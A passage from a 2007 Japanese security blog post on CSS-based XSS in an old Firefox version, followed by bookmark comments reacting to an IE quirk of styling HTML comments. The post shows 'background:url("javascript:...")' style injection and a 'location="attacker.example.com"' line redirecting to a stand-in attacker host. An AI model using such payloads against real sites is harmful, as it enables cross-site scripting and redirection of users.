hoshikuzu | star_dust の書斎 - 2007-09-18 IEではHTMLのコメントにスタイルを付加できるらしい

バージョン Firefoxの1.508ぐらいの古いもので考えてみました。 background:url("javascript:ほえほえ") background:url("javascript:ほえほえ");Firefoxでは上記のようなスタイル記述をほどこしたbody要素内の各要素で、ほえほえを安易に書いたときに、documentオブジェクトには手が出せません。つまりcookieを単純に盗み出すことが出来ないのかもしれません。権限がないというエラーメッセージが出るのです。また、JavaScriptの組み込み関数も利用できません。alert()とか。XSSされにくい感じです。windowオブジェクトにも制限がかかっているかもしれません。 でもでもでも locationオブジェクトそのものに値を設定はできます。 location="attacker.example.com";これでURLの

[tsukkee]

IEではHTMLのコメントにスタイルを付加できるらしい

[bugiugi]

IE,bug

[B-SAKATU]

<q>IEではHTMLのコメントにスタイルを付加できるらしい。</q>これが IE クオリティー。

[secondlife]

oh..

[ysk_lucky-star]

コメントさえも。。。どんなブラウザだよｗ

[picnicgraphic]

「IEではHTMLのコメントにスタイルを付加できるらしい」#ふぉー..

[popup-desktop]

「IEではHTMLのコメントにスタイルを付加できるらしい」……。（絶句）

[as365n2]

「IEではHTMLのコメントにスタイルを付加できるらしい」

[lucky-bag]

えぇっ！